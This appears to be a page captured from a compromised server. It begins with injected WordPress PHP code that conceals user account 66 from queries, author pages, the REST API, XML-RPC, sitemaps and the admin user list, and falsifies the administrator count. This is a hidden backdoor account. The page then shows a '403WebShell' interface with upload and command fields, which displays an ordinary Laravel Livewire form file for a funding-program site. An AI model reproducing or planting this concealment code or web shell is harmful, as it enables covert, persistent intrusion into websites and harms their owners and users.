add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/futuresfunder/app/Livewire/Contribute/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/futuresfunder/app/Livewire/Contribute/ProgramForm.php
<?php

namespace App\Livewire\Contribute;

use App\Enums\ApplicantType;
use App\Enums\DeadlineType;
use App\Enums\FunderLevel;
use App\Enums\FundingType;
use App\Enums\ModerationStatus;
use App\Enums\Purpose;
use App\Models\Funder;
use App\Models\FundingProgram;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Validation\Rule;
use Livewire\Component;

class ProgramForm extends Component
{
    public ?FundingProgram $editing = null;

    // --- Funder section ---
    public string $funderMode = 'existing'; // existing | new
    public ?int $funderId = null;
    public string $funderName = '';
    public string $funderCountry = '';
    public string $funderLevel = 'national';
    public string $funderWebsite = '';
    public string $funderDescription = '';

    // --- Programme section ---
    public string $title = '';
    public string $titleEn = '';
    public string $description = '';
    public string $summaryEn = '';
    public string $originalLanguage = 'en';

    // --- Details section ---
    /** @var string[] */
    public array $purposes = [];
    /** @var string[] */
    public array $applicantTypes = [];
    /** @var string[] */
    public array $eligibleCountries = [];
    /** @var string[] */
    public array $languages = [];
    public string $fundingType = 'grant';
    public ?string $amountMin = null;
    public ?string $amountMax = null;
    public string $currency = 'EUR';
    public string $deadlineType = 'fixed';
    public ?string $deadlineDate = null;
    public string $recurrenceNote = '';
    public string $sourceUrl = '';

    public function mount(?FundingProgram $program = null): void
    {
        if ($program === null || ! $program->exists) {
            return;
        }

        // Owners may edit while the entry is not yet approved.
        abort_unless(Auth::id() === $program->created_by, 403);
        abort_if($program->isApproved(), 403, __('Approved entries can no longer be edited by the contributor.'));

        $this->editing = $program;
        $this->funderMode = 'existing';
        $this->funderId = $program->funder_id;
        $this->title = $program->title;
        $this->titleEn = (string) $program->title_en;
        $this->description = $program->description;
        $this->summaryEn = (string) $program->summary_en;
        $this->originalLanguage = $program->original_language;
        $this->purposes = $program->purposes->map(fn ($p) => $p->value)->all();
        $this->applicantTypes = $program->applicant_types->map(fn ($t) => $t->value)->all();
        $this->eligibleCountries = $program->eligible_countries ?? [];
        $this->languages = $program->languages ?? [];
        $this->fundingType = $program->funding_type->value;
        $this->amountMin = $program->amount_min_cents !== null ? (string) intdiv($program->amount_min_cents, 100) : null;
        $this->amountMax = $program->amount_max_cents !== null ? (string) intdiv($program->amount_max_cents, 100) : null;
        $this->currency = $program->currency;
        $this->deadlineType = $program->deadline_type->value;
        $this->deadlineDate = $program->deadline_date?->format('Y-m-d');
        $this->recurrenceNote = (string) $program->recurrence_note;
        $this->sourceUrl = (string) $program->source_url;
    }

    protected function rules(): array
    {
        return [
            'funderMode' => ['required', 'in:existing,new'],
            'funderId' => ['exclude_unless:funderMode,existing', 'required', Rule::exists('funders', 'id')],
            'funderName' => [
                'exclude_unless:funderMode,new',
                'required',
                'string',
                'max:255',
                function (string $attribute, mixed $value, \Closure $fail) {
                    if (Funder::nameExists($value)) {
                        $fail(__('A funder with this name already exists — please select it under "Existing funder".'));
                    }
                },
            ],
            'funderCountry' => ['exclude_unless:funderMode,new', 'nullable', Rule::in(array_keys(config('countries')))],
            'funderLevel' => ['exclude_unless:funderMode,new', 'required', Rule::in(array_column(FunderLevel::cases(), 'value'))],
            'funderWebsite' => ['exclude_unless:funderMode,new', 'nullable', 'url', 'max:255'],
            'funderDescription' => ['exclude_unless:funderMode,new', 'nullable', 'string', 'max:2000'],

            'title' => ['required', 'string', 'max:255'],
            'titleEn' => ['nullable', 'string', 'max:255'],
            'description' => ['required', 'string', 'max:20000'],
            'summaryEn' => ['nullable', 'string', 'max:2000'],
            'originalLanguage' => ['required', Rule::in(array_keys(config('languages')))],

            'purposes' => ['required', 'array', 'min:1'],
            'purposes.*' => [Rule::in(array_column(Purpose::cases(), 'value'))],
            'applicantTypes' => ['required', 'array', 'min:1'],
            'applicantTypes.*' => [Rule::in(array_column(ApplicantType::cases(), 'value'))],
            'eligibleCountries' => ['array'],
            'eligibleCountries.*' => [Rule::in(array_keys(config('countries')))],
            'languages' => ['array'],
            'languages.*' => [Rule::in(array_keys(config('languages')))],

            'fundingType' => ['required', Rule::in(array_column(FundingType::cases(), 'value'))],
            'amountMin' => ['nullable', 'numeric', 'min:0', 'max:100000000'],
            'amountMax' => ['nullable', 'numeric', 'min:0', 'max:100000000', 'gte:amountMin'],
            'currency' => ['required', 'string', 'size:3'],
            'deadlineType' => ['required', Rule::in(array_column(DeadlineType::cases(), 'value'))],
            'deadlineDate' => ['exclude_unless:deadlineType,fixed', 'required', 'date'],
            'recurrenceNote' => ['nullable', 'string', 'max:255'],
            'sourceUrl' => ['nullable', 'url', 'max:255'],
        ];
    }

    /** Existing funders resembling the typed new-funder name ("did you mean?"). */
    public function getSimilarFundersProperty()
    {
        if ($this->funderMode !== 'new') {
            return collect();
        }

        return Funder::similarTo($this->funderName);
    }

    public function selectSimilarFunder(int $funderId): void
    {
        $this->funderMode = 'existing';
        $this->funderId = $funderId;
        $this->funderName = '';
        $this->resetErrorBag('funderName');
    }

    public function save(): void
    {
        $this->validate();

        DB::transaction(function () {
            if ($this->funderMode === 'new') {
                $funder = Funder::create([
                    'name' => $this->funderName,
                    'country' => $this->funderCountry ?: null,
                    'level' => $this->funderLevel,
                    'website' => $this->funderWebsite ?: null,
                    'description' => $this->funderDescription ?: null,
                    'created_by' => Auth::id(),
                    'moderation_status' => ModerationStatus::Pending,
                ]);
                $funderId = $funder->id;
            } else {
                $funderId = $this->funderId;
            }

            $attributes = [
                'funder_id' => $funderId,
                'title' => $this->title,
                'title_en' => $this->titleEn ?: null,
                'description' => $this->description,
                'summary_en' => $this->summaryEn ?: null,
                'original_language' => $this->originalLanguage,
                'purposes' => $this->purposes,
                'applicant_types' => $this->applicantTypes,
                'eligible_countries' => $this->eligibleCountries ?: null,
                'languages' => $this->languages ?: null,
                'funding_type' => $this->fundingType,
                'amount_min_cents' => $this->amountMin !== null && $this->amountMin !== '' ? (int) round((float) $this->amountMin * 100) : null,
                'amount_max_cents' => $this->amountMax !== null && $this->amountMax !== '' ? (int) round((float) $this->amountMax * 100) : null,
                'currency' => strtoupper($this->currency),
                'deadline_type' => $this->deadlineType,
                'deadline_date' => $this->deadlineType === 'fixed' ? $this->deadlineDate : null,
                'recurrence_note' => $this->recurrenceNote ?: null,
                'source_url' => $this->sourceUrl ?: null,
                'moderation_status' => ModerationStatus::Pending, // (re)submissions always go to review
            ];

            if ($this->editing) {
                $this->editing->update($attributes);
            } else {
                FundingProgram::create([...$attributes, 'created_by' => Auth::id()]);
            }
        });

        session()->flash('message', $this->editing
            ? __('Your entry was updated and resubmitted for review.')
            : __('Thank you! Your entry was submitted and will appear once a moderator approves it.'));

        $this->redirectRoute('contribute.index', navigate: true);
    }

    public function render()
    {
        $funders = Funder::approved()->orderBy('name')->get(['id', 'name', 'country']);

        // The funder of the entry being edited may itself still be pending.
        if ($this->editing && ! $funders->contains('id', $this->editing->funder_id)) {
            $funders->push($this->editing->funder()->first(['id', 'name', 'country']));
        }

        return view('livewire.contribute.program-form', [
            'funders' => $funders,
        ])->layout('layouts.app');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit